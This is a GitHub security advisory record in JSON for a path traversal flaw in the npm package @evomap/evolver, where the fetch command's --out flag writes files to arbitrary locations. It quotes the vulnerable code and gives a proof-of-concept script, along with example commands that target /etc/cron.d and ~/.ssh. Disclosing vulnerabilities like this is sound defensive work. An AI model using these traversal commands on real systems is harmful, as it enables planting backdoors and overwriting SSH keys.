{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@evomap/evolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.69.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T22:06:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a =\u003e typeof a === \u0027string\u0027 \u0026\u0026 a.startsWith(\u0027--out=\u0027));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027);\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice(\u0027--out=\u0027.length)  // User-controlled path\n  : path.join(\u0027.\u0027, \u0027skills\u0027, safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice(\u0027--out=\u0027.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, \u0027_\u0027)`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice(\u0027--out=\u0027.length)  // No validation!\n    : path.join(\u0027.\u0027, \u0027skills\u0027, \u0027default\u0027);\n  \n  console.log(\u0027Target directory:\u0027, outDir);\n  console.log(\u0027Resolved path:\u0027, path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, \u0027skill.js\u0027);\n  console.log(\u0027Would write to:\u0027, targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log(\u0027=== Test 1: Normal path ===\u0027);\nvulnerableFetchSkill(\u0027--out=./my-skills/test\u0027);\n\nconsole.log(\u0027\\n=== Test 2: Path traversal ===\u0027);\nconst result = vulnerableFetchSkill(\u0027--out=../../../tmp/evolver-test\u0027);\n\n// Actually demonstrate the vulnerability\nconsole.log(\u0027\\n=== Creating directory to prove traversal works ===\u0027);\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, \u0027poc.txt\u0027),\n    \u0027Path traversal successful!\\nThis file was written outside the intended directory.\u0027\n  );\n  console.log(\u0027SUCCESS: File written to:\u0027, path.resolve(result.targetFile));\n} catch (e) {\n  console.log(\u0027Error:\u0027, e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.",
  "id": "GHSA-r466-rxw4-3j9j",
  "modified": "2026-04-22T22:06:15Z",
  "published": "2026-04-22T22:06:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EvoMap/evolver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write"
}